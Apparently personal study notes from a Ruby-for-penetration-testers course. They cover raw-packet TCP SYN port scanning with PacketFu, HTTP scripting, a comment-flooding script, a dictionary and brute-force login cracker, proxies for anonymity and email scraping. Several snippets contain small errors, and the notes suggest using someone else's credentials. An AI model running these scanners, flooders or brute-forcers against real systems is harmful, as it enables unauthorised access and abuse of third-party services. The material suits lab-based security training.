	  #send 5 UDP packet
	  # with a proper timeout
  end
end
  • First we send a packet and wait For the first response
  • if no response is received, the timeout is triggered (note that the timeout is incremental)

If the timeout is triggered For all 5 packets then we consider the port filtered:

require 'timeout'
require 'socket'

u = TCPSocket.new('example.com', port)
open = []
closed = []
filtered = []

(1..5).each do |i|
  begin
    Timeout.timeout(i * 0.5) do
      u.write("\0")
      u.recv(10)
      open.push(port)
    end
  rescue Errno::ECONNREFUSED
    closed.push(port)
  rescue Timeout::Error
    filtered.push(port) if i == 5
  ensure
    break
  end
end

u.close

We can improve the script even more:

by add regex to verify the command parameter format (ip and ports)

by add different logic (timing strategy or a multi-thread)

Raw Socket

Can be used to interact with the network using a low level strategy. They usually needs root privileges to be used.

Raw sockets allow one to forge network packets (IP, UDP, TCP, and so on) by yourself but a high knowledge of network protocols and headers is required.

  • If u r familiar with low level concepts, check these links

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/Socket.html

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/socket/rdoc/BasicSocket.html

PacketFu

→ https://github.com/todb/packetfu

→ http://rubydoc.org/github/todb/packetfu/PacketFu

  • PacketFu is a Ruby library For reading and writing packets to a network interface.
  • it requires pcarub to work. (another gem)

Follow these steps to install PacketFu in Kali:

apt-get install ruby-dev
apt-get install libpcap-dev
gem install -r pcaprub
gem install -r packetfu

To find what your gem path is:

gem env

Open PacketFu:

# go to the examples path in <gem env path>
ruby packetfu-shell.rb

if Packet capturing/injecting is enabled it works

Usage

pry --simple-prompt
require 'packetfu'

We can use many classes For different purposes:

PacketFu::IP
PacketFu::TCP
PacketFu::UDP

In order to avoid writing the PacketFu namespace each time, we can use include:

include PacketFu
IPHeader # the same as PacketFu::IPHeader
TCPPacket # the same as PacketFu::TCPPacket

Utils class contains utility methods.

For example, it can be used to obtain information about our machine interfaces:

Utils.ifconfig("eth0")

Perform an ARP request. // however it returns the mac address only if the specifies IP belongs to your default network interface (usually “eth0”):

Utils.arp("192.168.1.2")

To see the default network interface use by PacketFu:

Utils.whoami?

Forge a custom packet

Common packets classes:

ARPPacket  # constructs ARP packets
EthPacket   # constructs Ethernet packets
ICMPPacket # constructs ICMP packets
IPPacket     # constructs IP packets
TCPPacket  # constructs TCP packets
UDPPacket # constructs UDP packets

Each of the previous classes use suitable header and option or flags:

IPHeader     # a complete IP structure
ICMPHeader # a complete IP structure
TCPHeader   # a complete TCP structure
TCFlags     # Implements flag For TCPHeader
ARPHeader # a complete ARP structure

Lets see how to create a UDP packet from scratch:

u = UDPPacket.new

To send a packet using PacketFu

First we need to use recalc method to recalculate all of the checksums of the packets, then to_w:

u.recalc
u.to_w
  • since we will forge the entire packet headers (Ethernet, IP and UDP), we have to be careful in order to create the packet correctly.

  • In order to obtain information such as the source IP, MAC address and gateway MAC address, we can use the class Utils.
  • When we do not specify an interface, PacketFu uses the default eth0 so take that into account.

The method Utils.whoami? contains the correct field values that we need (source MAC and IP addresses as well as the default gateway mac address):

Utils.whoami?
s_ip = Utils.whoami?[:ip_saddr]
s_mac = Utils.whoami?[:eth_saddr] # source address
g_mac = Utils.whoami?[:eth_daddr] # destination address

Set the UDP raw packet:

u.eth_saddr = s_mac
u.eth_daddr = g_mac

Set the IP header:

u.ip_saddr = s_ip
u.ip_daddr = "<destination IP>"

Set the UDP source and destination ports:

u.udp_sport = 5000
u.udp_dport = 37

We can send the packet now:

u.recalc
u.to_w

sniff the traffic with wireshark to grab the packet

  • Since we are using raw sockets, we sent the packets directly to the network without going through the kernel TCP/IP stack
  • This means that in our kernel, we do not have a real socket (bound to UDP source port) that is waiting For an UDP time response
  • As defined in the UDP/TCP RFC, when the kernel receives an undesired UDP packet, it responds with an ICMP destination unreachable (Port unreachable)

A trick to avoid the ICMP kernel response is to create an UDP socket which binds itself to our source port.

Now the kernel has its socket bound to the source port 5000 so the ICMP packet is no longer generated by the OS:

s = UDPSocket.new
s.bind("192.168.3.24","5000")
u.to_w
  • Doin the same thing For all other packets can be tedious. PacketFu allows some different methods to forge packets quickly

We can use config parameter:

u = UDPPacket.new(:config=>Utils.whoami?)

TCP SYN port scanner

  • now we can write more sophisticated tcp port scanner that avoid finalizing the 3-way handshake. This is called TCP SYN scan
  • TCP SYN scan can be used to leave no trace

A common DOS attack is called TCP SYN flood, where the attacker sends a flood of syn packets, until a crash happens.

The strategy

  1. The syn packet sends a syn
  2. if the port is open the target answer with syn,ack
  3. and we send RST to close the connection, means that we do not close the 3way handshake with another ack
  4. if the port is closed, after the first syn, the target answers with a RST+ACK
  5. if the ports is filtered, we will send 2 syns without any answer
  • To create TCPPacket using packetFu, we need to set the Ethernet, the IP header fields and the TCP header with the correct destination port and SYN flag enabled

We can use the config aswell:

t = TCPPacket.new(:config=>Utils.whoami?)

Pay attention, Eth destination now is not the default gateway

  • the target host 192.168.3.14 belongs to our network

Since its in our network, we can grab the MAC with an ARP request:

t.ip_daddr = "192.168.3.14"
t.eth_daddr = Utils.arp("192.168.3.14")
# mac output
t

now EthHeader and IPheader have the correct value

The destination port is 135 while the source port may be a random value:

t.tcp_sport = 5000
t.tcp_dport = 135
t.tcp_flags.syn = 1

t

Now the TCP packet is properly configured

Its ready to be sent:

t.recalc
t.to_w
# we can analyse with wireshark

We want our script to be capable of detecting the SYN+ACK. PacketFu provides the Capture class to sniff every packet received on a specific network interface.

  • to use capture we need to create a Capture object and then specify the interface where it will capture the traffic (eth0 is the default NIC)
  • after this, we can use the capture method to sniff packets received by the interface. we can also specify a filter as a capture parameter in order to capture only specific packets.

To extract all of the TCP packets that have source IP address equal to 192.168.3.14 and 135 as source port from the eth0 interface:

cap = Capture.new(:iface=>"eth0")

The filter For the capture method is given usinf the BPF syntax (Berkeley Packet Filter):

src host 192.168.3.14 and src port 135
cap.capture(:filter=>"src host 192.168.3.14 and src port 135")

To check if our interface received a packet which matches the filter, we can use the next method. If it returns nil, it means that there is not one matching. Otherwise, the packet is returned:

raw_packet = cap.next
  • PacketFu allows one to parse raw packets using the Parse class.

Parsing the received raw_packet we will obtain a PacketFu TCP packet:

tcp_packet = Packet.parse raw_packet

As we can see in the interpreter, the packet received is the desired SYN+ACK (flag A and S) packet coming from port:135 and host:192.168.3.14

The script

First, we have to start a packet sniffer that is able to read all of the response packets: SYN+ACK For opened ports and RST+ACK For closed ports.

  • when the sniffer is ready, we can send the TCP SYN packet For each port we want to test

For all of the ports that are not opened or closed, there is a high likehood that they are filtered:

def main(host, start_port,end_port)
  open = []; closed = []
  start_capture(host,open,closed,start_port,end_port)
  send_tcp_syn(host,start_port,end_port)
  filtered=(start_port..end_port).to_a - (open+closed)
  puts "OPEN",open if !open.empty?
  puts "FILTERED",filtered if !filtered.empty?
end

For the start_capture method, a new thread is required; we sniff TCP SYN+ACK and RST+ACK at the same time we send TCP SYN:

require 'packetfu'

def start_capture(host, open_ports, closed_ports, start_port, end_port)
  Thread.new do
    cap = Capture.new
    cap.capture(filter: "tcp and src host #{host}")

    cap.stream.each do |raw_packet|
      tcp_packet = Packet.parse(raw_packet)
      port = tcp_packet.tcp_sport.to_i

      next unless port.between?(start_port, end_port)

      flags = tcp_packet.tcp_flags

      if flags.syn == 1 && flags.ack == 1 && !open_ports.include?(port)
        open_ports.push(port)
      elsif flags.rst == 1 && flags.ack == 1 && !closed_ports.include?(port)
        closed_ports.push(port)
      end
    end
  end
end

  • The method send_tcp_syn first creates a TCPPacket and sets the correct mac address (default gateway if the host is outside the network – host mac address coming from ARP request if the host belongs to our network)

Then For each port, it sends a TCP SYN packet (two times to avoid packets loss):

def send_tcp_syn(host,start_port,end_port)
  t = TCPPacket.new(:config => Utils.whoami?)
  t.eth_daddr = Utils.arp(host) if Utils.arp(host)
  t.ip_daddr = host
  t.tcp_flags.syn = 1
  start_port.upto(end_port) do |port|
	t.tcp_dport = port
	t.recalc
	2.times.each { t.to_w;sleep(0.02)}
  end
  sleep(1)
end

The sleep methods in the previous implementation are used to avoid creating a flood of SYN packets against the target host.

  • with too many TCP requests For connection, the target host may become suspicious
  • the greater the time between each TPC SYN is, the more silent the scanning is.

Tcp_sps.rb (TCP SYN port scanner), first we start reading the parameters:

ruby tcp_sps.rb host start_port-end_port

example:

ruby tcp_sps.rb 192.168.3.14 100-200
# scan ports from 100 to 200 on the host 192.168.3.14

Kernel Exec

  • it replaces the current Ruby process with the command passed as argument
  • this means that the original command is stopped. therefore there is no way to interact with the new command.
  • The exec method is an abbreviation For kernel.exec method and it could be useful if u have a script that executes some logics and then it needs to call an external OS command without interacting with it.

u will probably never have the need to use it but its an interesting method that we may want to know:

pry --simple-prompt
exec 'echo "Hello world"'
# Output: Hello World

The echo command replaces the pry interpreter

Kernel System

It differs from exec. it does not replace the current process; instead it creates a subshell and executes the command passed as argument inside it.

  • finally, it returns true if the command argument was found in the OS and it was executed correctly. otherwise it returns false.
  • moreover, it prints the stdout and the stderror of the command as argument and it sets the global variable $? with the exit status information of the command execution.
  • System is a Kernel method too. Therefore u can use the OO notation Kernel.system to call it.

Example:

 system 'echo "Hello"'
$? 
# now the global variable holds some status
$?.pid 
# Output: 3458
$?.exitstatus 
# Output: 0

When the command is not found. False is returned and the stderror is printed.

  • system method does not terminate the original process execution but it does not provide a way to interact with the command executed.
  • therefore u cannot handle the sub-commands outputs (stdout and stderror) in any way.

Kernel Backticks

Its another method to execute system commands in a sub-shell

  • it works as Kernel system method but the returned value is the standard output of the command executed in the sub-shell
  • When using it, u can handle the output of any command sub-executed Usage: ```ruby output = ‘echo “hello”’ output

//”hello” // or u can use with the OO notation Kernel.’(command) ‘


For example, how to extract the eth0 ip address

With regex:
```ruby
'ifconfig eth0' =~/inet addr:([0-9.]*)/
$1
# Output:  192.168.3.29

With kernel backsticks:

puts %x{ifconfig eth0}
# Output: eth0 output

IO popen

Method provided by the IO class

The command stdin and stdout will be connected to the returned IO object (u cannot get the stderr)

Usage:

fd = IO.popen('echo "hello"')
fd.readline
# Output: "hello"
IO.popen opens input and output streams with the sub-command (according to the opening mode r r+ w w+…). Therefore, u can use all of the methods seen when we talked about streams.

→ moreover: http://ruby-doc.org/core-1.9.3/IO.html

Open3 popen3

Used if u want to interact with all of the three sub-command stream: stdin, stdout and stderr:

require 'open3'

Example: execute nslookup command:

sin,sout,serr = Open3.popen3('nslookup')
sin.puts "www.google.com"
sout.gets
# Output: "Server:\t\t192.168.3.1\n"

sout.gets
# Output: "Address:\t\t192.168.3.1#53\n"

All together

The most used are Kernel backticks and Open3 popen3

  • we want to create a script that takes as input a target network, performs a ping sweep and then shows a menu to select one port scanning technique (UDP, TCP Connection, TCP SYN)
  • we need to interact with uphosts and pextr commands; we have to send the nmap output to the commands input stream.
  • therefore we have to use a method that allows to send data to stdin; we will use Open3 popen3

Usage command scan:

scan <network>
// discover targets in the network using ICMP ping request strategy

As usual, the script can be improved. we can add other port scanning techniques, the possibility to choose a range of custom ports, and so on.

Lab

Task 1: Discovery alive hosts

nmap -PE -sn -n 172.16.10.0/24 -oA=rede10
  • Run a host discovery scan with Nmap and save the output in the three most used formats: XML, grepable and normal output. The remote networks are 172.16.10.0/24 and 172.16.11.0/24.

Task 2 - ip extraction

sudo nmap -PE -sn -n 172.16.10.0/24 | ./ip_extraction_nmap-2.rb

// the script


#!/usr/bin/ruby

begin
  stream = $stdin
  stream.each do |line|
	/^(?:Nmap scan report \for )((?:\d{1,3}\.){3}\d{1,3})/ =~ line
	puts $1 if $1
end
rescue Exception => e
  puts
end

Task 3 - Open ports

nmap -sV -T4 172.16.10.0/24 -oA=rede10-ports

Task 4 - Port extraction

Web

Starting Point

Request and Response

Data Extraction

Exercises

HTTP Protocol

  • we will focus no http
  • Rubys alternatives to interact with a web server

Using simple socket

  • it may happen that u have to test the behavior of a server when it receives incorrect packets.

Our target is the simple index page of the apache web server:

service apache2 start
  • we want to obtain the same page using Ruby and a TCP socket.

The first thing to do is to open a TCP connection with our localhost on port 80:

s = TCPSocket.new("localhost",80)

The correct verb to use is GET and the path is /:

request = "GET / HTTP/1.0\r\n\r\n"
s.print(request)

response = s.read
# Output: is the http response

We can split headers and body to analyze them separately:

headers,body = response.split("\r\n\r\n")
headers
# Output: of headers

body
# Output:  of body
  • We can try to send a misconfigured request
  • like GE instead of GET
  • // method not implemented
  • this strategy may be useful to detect if the server is vulnerable to misconfigured packet attacks

Net::HTTP library

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

We can use Net::HTTP class in different ways. we can use its class methods or its instances to achieve the same result:

require 'net/http'
response = Net::HTTP.get("localhost","/")
print response
// we get the output of body

Open-uri library

→ http://ruby-doc.org/stdlib-1.9.3/libdoc/open-uri/rdoc/OpenURI.html

To get the same body output:

require('open-uri')
open('http://localhost/') do |http|
  puts http.read
end

Usually open-uri is used when u have to retrieve the body response from a webserver quickly.

URI object

  • URI is a module providing classes to handle Uniform Resource Identifiers. its used to encapsulate an URL (URL are a subset of URI)

→ http://www.ruby-doc.org/stdlib-1.9.3/libdoc/uri/rdoc/URI.html

lhost_url = URI("http://localhost")
// now we can use 'lhost_url' with 'open-uri'
open(lhost_url) do |http|
puts http.read
end

We can also use lhost_url with Net::HTTP:

puts Net::HTTP.get(lhost_url)

Net::HTTP class and instances

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-c-get

GET

  • The first verb we want to analyze is ‘GET’
  • we will take about handlers, parameters and so on.

Net::HTTP get

  • we have seen that the Net::HTTP get class method can be used to obtain the body portion of the HTTP response from a target as a string.

It sends a GET request to the target which can be specified using:

an URI object parameter
host, path and port parameters

Example:

resp = Net::HTTP.get(URI("http://www.elearnsecurity.com"))
# we obtain the GET response body in string format

To print the response body directly to stdout we use get_print:

Net::HTTP.get_print(URI("http://www.elearnsecurity.com"))

We can avoid using the URI object in favor of the host and the path parameters:

resp = Net::HTTP.get("www.elearnsecurity.com","/")

Example of get_print with host and path parameters:

Net::HTTP.get_print("www.example.com","/index.html")
  • we can use :: or . to call a class method

Example:

Net::HTTP::get_print(URI("http://localhost/"))
Net::HTTP.get_print(URI("http://localhost/"))

Net::HTTP get_response

  • In this case, we do not have a string as a result.

We have an HTTPResponse object that encapsulates the HTTP response (the entire response, not only the body):

res_obj = Net::HTTP.get_response(URI("http://localhost/"))

HttpResponse object

  • this class wraps the response header and the response body together.

Its the superclass of the real response object returned by get_response:

res_obj = Net::HTTP.get_response(URI("http://localhost/"))

→ http://www.ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#class-Net::HTTP-label-HTTP+Response+Classes

Status:

res_obj.code
# Output: "200"
res_obj.message
# Output: "OK"
res_obj.class.name
# Output: "Net::HTTPOK"

Headers: To get the hash of the headers:

res_obj.to_hash

We can also use each and each_header:

res_obj.each { |key,value| print key,":  ",value,"\n"}

To obtain a particular header:

res_obj["content-type"]
# Output: "text/html"

res_obj["server"]
# Output: "Microsoft-IIS/7.5"
  • with the headers we can get information about the server For example, but sometimes web security experts change this header value (with fake ones) in order to hide the real server software and version.

Body:

print res_obj.body

Response Object types

If a resource does not exist, we have a 404 and an HTTPNotFound subclass object:

res_obj.class.name
# Output: "Net::HTTPNotFound"

res_obj.code
# Output: "404"

If the requested resource has been permanently moved then we have a 301 code and an HTTPMovedPermanently subclass object:

res_obj.class.name
# Output: "Net::HTTPMovedPermanently"

res_obj.code
# Output: "301"

In the moved permanently response, the location header specifies where to find the resource:

res_obj['location']

Parameters

GET requests can have parameters too. The portion of URL that contains data parameters is called query string.

→ https://hack.me/

  • this project allows u to start a vulnerable web app where u can test your script without violating any laws
  • it looks like hack.me is offline, donc je suis perdu

URL encapsulation

First perform a GET using the entire URL containing the query string:

target = 'http://<full url>'
res = Net::HTTP.get(URI(target))

Check the res with the response we expect:

res =~/You have searched For: hello/
# Output: 2057
# the string is at position 2057

Dynamic parameters

  • A URI instance can encapsulate an entire URL string. we can retrieve and set all of the URL fields by using the getter and setter provided by the URI class.

→ moreover: http://www.ruby-doc.org/stdlib-2.1.0/libdoc/uri/rdoc/URI.html

url = URI(target)
url.host # 's20570-101060-xjo.tarentum.hack.me'
url.path # '/search.php'

Since the target URL does not contain a query string, the URL object returns nil using the query getter:

url.query
# Output: nil
  • Query method is a setter too.

We can create them by using a simple hash (params) and then we can use the encode_www_form utility method to create the correct query string:

params = {:find=>"hello",:searching=>"yes"}
url.query = URI.encode_www_form(params)
# Output: "find=hello&searching=yes"

Now we can perform the *GET request using Net::HTTP get (open-uri can be used too):

res = Net::HTTP.get(url)

res =~/You have searched For: hello/
# Output: '2057'

Net::HTTP instances

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

First create a Net::HTTP instance and specify the target address:

http = Net::HTTP.new("www.elearnsecurity.com")

Using GET instance method

We have to call it by specifying the resource path we want to request as an argument:

res = http.get("/")
# in this example we request the home page

Using Http:Get request object

The net/http library provides a class For HTTP requests. its full name is Net::HttpRequest, and like HttpResponse, it wraps the request header and the request path together.

  • This class cannot be used directly; u have to choose one of its subclasses: Net::HTTP::(Get, Post, Head)

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-i-request

  • according with the references, u can use its subclasses instances only by using the request method of Net::HTTP instances. // the path of the server resource we want

The Net::Http::Get instance is a subclass of the HttpRequest designed to perform Get requests:

http = Net::HTTP.new("www.elearnsecurity.com")
req = Net::HTTP::Get.new("/")
# after having both Net::HTTP and Net::HTTP:GET instances, we can use the request method.
res = http.request(req)

URI and parameters

If u use the Net::HTTP instance to perform GET requests, u can use URI objects as parameters too.

Request Headers

  • How to handle request headers
  • to set our custom header, we need to use Net::HTTP instances

Using get instance method

How to change the default value of the User-Agent request header:

http = Net::HTTP.new("www.elearnsecurity.com")
headers = {"user-agent" => "Custom user agent"}
http.get("/",headers)
# we can confirm with Wireshark, that our current User-Agent contains the value that we gave = "Custom user agent"

using Http.Get request object

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTPHeader.html

HttpRequest instances wraps the request header (Net::HTTPHeader) and the request path together:

http = Net::HTTP.new("www.elearnsecurity.com")
req = Net::HTTP::Get.new("/")
req['user-agent'] //only outputs the current user-agent
req['user-agent'] = "Another custom user-agent" # modify and print the user-agent

http.request(req)
# we can check with wireshark again that our new user-agent is set correctly

Working with Open-uri

GET requests can be performed more easily by using open-uri library

  • Open-uri supports only the GET method but there is gems (such as rest-open-uri) that extend its functionality to others verbs (like POST)
open method

It returns a Tempfile object that encapsulates the response:

resp = open("http://www.elearnsecurity.com")
resp.class.name
# Output: "Tempfile"

If u want the response body, u can use line unumerators:

resp.each_line { |line| puts line }

Response headers are treated as meta information and are available using the meta attribute:

resp.meta
# headers output

U can also use open with a block methodology. the block variable (resp) is the Tempfile created by the open:

open("http://www.elearnsecurity.com"){ |resp| puts resp.meta }
request headers

With open we can specify request headers as an optional hash argument:

open("http://www.elearnsecurity.com",{"User-Agent"=>"custom header"})

Setting new header:

open("http://www.elearnsecurity.com","User-Agent"=>"Test","New-Header"=>"some value")

POST

Using Net::HTTP post_form

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html#method-c-post_form

The target address is the login.php resource while form parameters are user and pass:

url = URI("<url of the target>")
params = {"user"=>"els","pass"=>"els"}
res = Net::HTTP.post_form(url,params)

Sessions and cookies

res['location']

myaccount.php its the location responder header with the destination address if the login succeds

To see if the login using our POST succeeded. we look at the set-cookie:

res.to_hash

Now we send a GET request to the myaccount.php target using a proper cookie header:

url = "<url/myaccount.php>"
logged = open(url,"cookie"=>res['set-cookie'])

logged.each_line { |line| print line }
# to print the response

Using Http::Post request object

First thing is to create an Net::HTTP instance:

target = "<url>"
http = Net::HTTP.new(target)

Now we create a Net::HTTP::POST instance:

req = Net::HTTP::Post.new("/login.php")

We have to set the POST form values, in this case els:els

req.set_form_data("user"=>"els","pass"=>"els")

We now have to send the request by using the method of the Net::HTTP instance

res = http.request(req)
# we received a 'moved temporarly' response

To print the headers, we can see the set-cookie header with the SESSION-ID which identifies the logged session:

res.to_hash

we can use this SESSION-ID as a request Cookie to perform logged requests

Request Headers

U can set your custom request headers with POST requests

  • in the logged page we can write comments
  • we can run the same operation in Ruby

  • the comments are allowed only For logged in users
  • this implicitly means that your browser sends a cookie (as an header) that identifies your authenticated session during the POST request
  • therefore, we need to set the cookie header with a proper SESSION-ID value.

  • look at the source code to identify the form action of the page and field names
  • in this case, action=’sendmsg_confirmation.php’, name, comment, cat

We have a res variable containing the login response with the SESSION-ID in set-cookie header:

res.to_hash

Using post instance method

To use post, we need a Net::Http instance; the target resource address too:

target = "<url>"
http = Net::HTTP.new(target)

The form we want to send if the following:

param = {"name"=>"hello","comment"=>"from ruby","cat"=>"1"}
# the cat is if of the category

Our post request must contain a cookie header with a valid logged SESSION-ID:

header = {"cookie"=>res['set-cookie']}
  • now we can perform the POST request
  • it requires an encoded form data while the destination path is the action address seen before in the source code.
enc_param = URI.encode_www_form(param)
http.post("/sendmsg_confirmation.php",enc_param,header)

# we can go to the page and check if our commentary is there

Using Http::Post request object

target = "<url>"
http = Net::HTTP.new(target)
req = Net::HTTP::Post.new("/sendmsg_confirmation.php")
req.set_form_data({"name"=>"hello","comment"=>"again from ruby","cat"=>"1"})
req['cookie']=res['set-cookie']
http.request(req)
Example: Post Flooding

We want to write a post flooding script that sends subsequent POST request to the target in order to full the programs page (program.php) with a lot of undesired comments.

  • this is possible because there are no security mechanisms implemented in the web app (such as captcha). Therefore subsequent request can be automated using a script.
  • our script takes the target address, an user name, a password and the number of comments we want to send as arguments. then the script performs the login flow and finally it uses the SESSION-ID received to send the subsequent POST comment requests.

Usage:

ruby post_flooding.rb <target url> <login> <password> <number of comments>

First identify the parameters and create http instance:

require 'net/http'
Target_URI = URI(ARGV[0])
Username = ARGV[1]
Password = ARGV[2]
Max_Comments = ARGV[3].to_i

http = Net::HTTP.new(Target_URI.hostname)

Perform the login process using Username and Password in order to obtain the session id from the set-cookie response header:

login_param = URI.encode_www_form({"user"=>Username, "pass"=>Password})
login_res = http.post("/login.php",login_param)
session_id = login_res['set-cookie']

Then the flooding part. we have to use the SESSION-ID received from the login process as a cookie header to be able to post any comment:

flood_parameters = URI.encode_www_form({"name"=>"FLOOD","comment"=>"FROM RUBY","cat"=>"1"})
(1..Max_Comments).each{ 
  http.post("/sendmsg_confirmation.php",flood_parameters,"cookie"=>session_id
}

we used our own credentials, thats now ideal we can try to discover someone elses credentials in order to not expose our credentials

Persistent Connections

If u have to exchange a lot of information with the server (For example a multi chunk file download), its better to have a unique TCP connection.

  • the HTTP 1.1 protocol allows u to maintain the connection opened For subsequent request.
  • using the start method, we can open a unique TCP stream (a unique connection and a unique handshake)

→ moreover: http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Brute form login

Response identification

When the login succeeds, the server sends a moved temporarly response that points to myaccount.php. The server also sets a cookie with the SESSION-ID For the created login session:

url = URI("<target login url>")
params = {"user"=>"els","pass"=>"els"}
res = Net::HTTP.post_form(url,params)
res['location']
res['set-cookie']

if we provide wrong credentials, there is no set-cookie header and the location is the same url so we can use these 2 info, to see if the login succeeds or not.

Find a UserName

Scrap through the web page to find valid usernames

  • in this case there are logins in the comments

Dictionary attack

The script sequentially tests each password against the same UserName and if one of these is correct, it prints it to stdout.

Usage:


 time ruby dictionary_login.rb <url target> <username> <dictionary file>

require 'net/http'

Target = ARGV[0]
User = ARGV[1]
Password_file = ARGV[2]

url = URI(Target)
params = { "user" => User }
http = Net::HTTP.start(url.hostname)
req = Net::HTTP::Post.new(url.request_uri)

File.open(Password_file, 'r') do |file|
  real_pwd = file.each do |pwd|
    params['pass'] = pwd.chomp # Use `chomp` to remove newline characters
    req.set_form_data(params)
    res = http.request(req)
    break pwd.chomp if res['location'] == 'myaccount.php' && res['set-cookie']
  end

  if real_pwd.is_a? String
    puts "\nPassword for '#{User}' is: #{real_pwd}"
  else
    puts "\nPassword not found for '#{User}'."
  end
end

http.finish # Corrected the method name

Using a string generator

If the target chooses a strong password, an attacker may not be able to discover it in a short time

However its a good exercise to use Ruby to generate all of the string ofa particular character input space to use in a real bruteforce scenario.

Input parameters:

Input_space = 'a'..'z'
Min_length = 1
Max_length = 3

Generates all of the strings of a specific size using the input_space characters:

def genst(st,post,&block)
  return block.call(st) if pos<=0
  Input_space.each { |x| genst(st+x,pos-1,&block) }
end

Start from min_length up to max_length generates all of the strings of a specific size using the previous genst:

def genallpwd(&block)
  (Min_length..Max_length).each { |l| genst("",l,&block)}
end

Call the genallpwd method and allows us to specify what the task is to do when a new string is generated.

In this case we want to print:

genallpwd{ |pwd| puts pwd}

we can change the size For example to 4..10 and also change the input_space to every alphanumeric string

Input_space = ('A'..'Z').to_a+('a'..'z').to_a+('0'..'9').to_a
Min_length = 4
Max_length = 10

we can set the target url and username as parameters and try to break into the account with the generates characters it takes some time to use this technique, even if its a short password

HTTPS

Net::HTTP allows us to handle also https connections. we only need to change the connection establishment, the rest is the same

  • create an SSL connection with Net::HTTP instance

Specify a correct SSL port (usually 443):

url = URI("http://members.elearnsecurity.com")
url.host //the site
url.port //443
https = Net::HTTP.new(url.host,url.port)

Set the connection to use SSL:

https.use_ssl = true

Now we can use all of the instance methods previously seen.

For example, a simple GET request to the home page path:

resp = https.get("/")

Another way to handle https connection is by using start method:

https = Net::HTTP.start(url.host,url.port,:use_ssl=>true)

→ moreover = http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Redirection

One common usage is For security reasons - the typical HTTP to HTTPS redirection. For example, if er request a website login page using HTTP, we could be automatically redirected to the HTTPS page.

  • the script will print the redirection chain to the standard output.
  • usually responses are Moved Permanently 301 or Moved Temporarly 302. in this cases, the location header specifie where the resource can be found.

If we send a GET request, we have the message and the location header:

res = Net::HTTP.get_response(URI("http://justcrypt.it"))
res['location']
# Output: 'https://justcryit.com'

We have to follow the request:


url = URI("https://justcrypt.it")
resp = Net::HTTP.start(url.host,url.port,:use_ssl=>true) do |https|
  https.get("/")
end
resp['location']
# Output: 'https://justcrypt.it/send'

We have to follow the redirection chain until we receive an HTTPOK response (code 200):

url = URI("https://justcrypt.it/send")
resp = Net::HTTP.start(url.host,url.port,:use_ssl=>true) do |https|
  https.get(url.path)
end
# Output: 'HTTPOK 200 OK readbody=true'

Follow the chain

We can make a script to automatically that follows the chain of a given target address

First the function that is able to follow the redirection chain, ans its able to identify both http and https connection type:

require 'net/http'

Target = ARGV[0]

def follow_chain(url, &block)
  resp = Net::HTTP.start(url.host, url.port, use_ssl: url.scheme == 'https') do |https|
    https.get(url.path)
  end
  block.call(url, resp)
  follow_chain(URI(resp['location']), &block) if resp.is_a? Net::HTTPRedirection
end

puts "Starting from: #{Target}\n\n"
follow_chain(URI(Target)) do |url, resp|
  case resp
  when Net::HTTPRedirection
    puts "Redirection to: #{resp['location']}"
  when Net::HTTPSuccess
    puts "\nHTTPOK: #{url.to_s}"
  end
end


Proxies

It may be useful to use proxies (For example if u want to keep your anonymity)

→ list of free available proxies - http://www.freeproxylists.net/

  • in this example we gonna use proxy 62.68.95.14 on port 8080 - HTTP

Http Proxies

First create a Net::HTTP instance:

proxy_addr = "62.68.95.14"
proxy_port = 8080
proxy = Net::HTTP.new("www.elearnsecurity", nil,"proxy_addr,proxy_port")

Then we can use the methods already seen to perform a request:

res = proxy.get("/")
# Output: 'HTTPOK 200'

We can inspect the packets with wireshark:

nslookup www.elearnsecurity.com

Https Proxies

Choose a proxy that supports https connections

Is the same as http, but we have to use SSL:

proxy_addr = "92.245.170.248"
proxy_port = 8080
target = "members.elearnsecurity.com"
res = Net::HTTP.start(target, 443,proxy_addr,proxy_port,:use_ssl=>true) do |https|
  https.get("/")
end

# Output: 'HTTPOK 200 ok'
  • https proxies use the HTTP CONNECT Tunneling
  • the Net::HTTP class automatically encapsulate this particular protocol when u request an HTTPS resource using a proxy

→ moreover = http://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_Tunneling

Other VERBS

To use other verbs besides get and post, we use a Net::HTTP instance (there are not Net::HTTP class methods to do that)

Options

OPTIONS requests allow u to know the list of VERBs supported by a particular target web resource

Start apache = service apache2 start

Show the verbs available:

http = Net::HTTP.new("localhost")
opt = http.options("/")
opt.to_hash
# in the allow output ['options, get, head, post']

We can obtain the same result using an Net::HTP::Options request object. its a subclass of HttpRequest:

http = Net::HTTP.new("localhost")
req = Net::HTTP::Options.new("/")
opt = http.request(req)
opt.to_hash

Sometimes verbs different from post and get are not allowed. Take google as an example:

opt.class.name
# Output: "Net:HTTPMethodNotAllowed" // does not allowed the options verb

Verb used to request only the resource response headers:

http = Net::HTTP.new("localhost")
head = http.head("/")
head.to_hash
headh.body
# Output: nil

U can use the HttpRequest subclass request object Net::HTTP::Head:

http = Net::HTTP.new("localhost")
req = Net::HTTP::Head.new("/")
head = http.request(req)
head.to_hash

Others

Check the references

→ http://ruby-doc.org/stdlib-2.1.1/libdoc/net/http/rdoc/Net/HTTP.html

Data Extraction

The extraction of the data depends on the type of response body: HTML, XML, JSON, private format, etc

We will use mainly regular expression or document parsing

Regular Expressions

Whatever the response format is, with regular expression u can extract substrings that match a specific pattern (ignoring the format)

email extraction

If u have to perform a pentest that involves a web app, extracting emails is something that u would do Usage:

ruby email_extr.rb <url target>

The code using open-uri and scan method:

require 'open-uri'

Target = ARGV[0]
Email_re = /[-0-9a-zA-Z.+_]+@[-0-9a-zA-Z.+_]+\.[a-zA-Z]{2,4}/
emails = open(Target) { |res| res.read.scan(Email_re)}
emails.each { |email| puts email}

U can also check invisible contents such as comments or hidden elements

Document Parsing

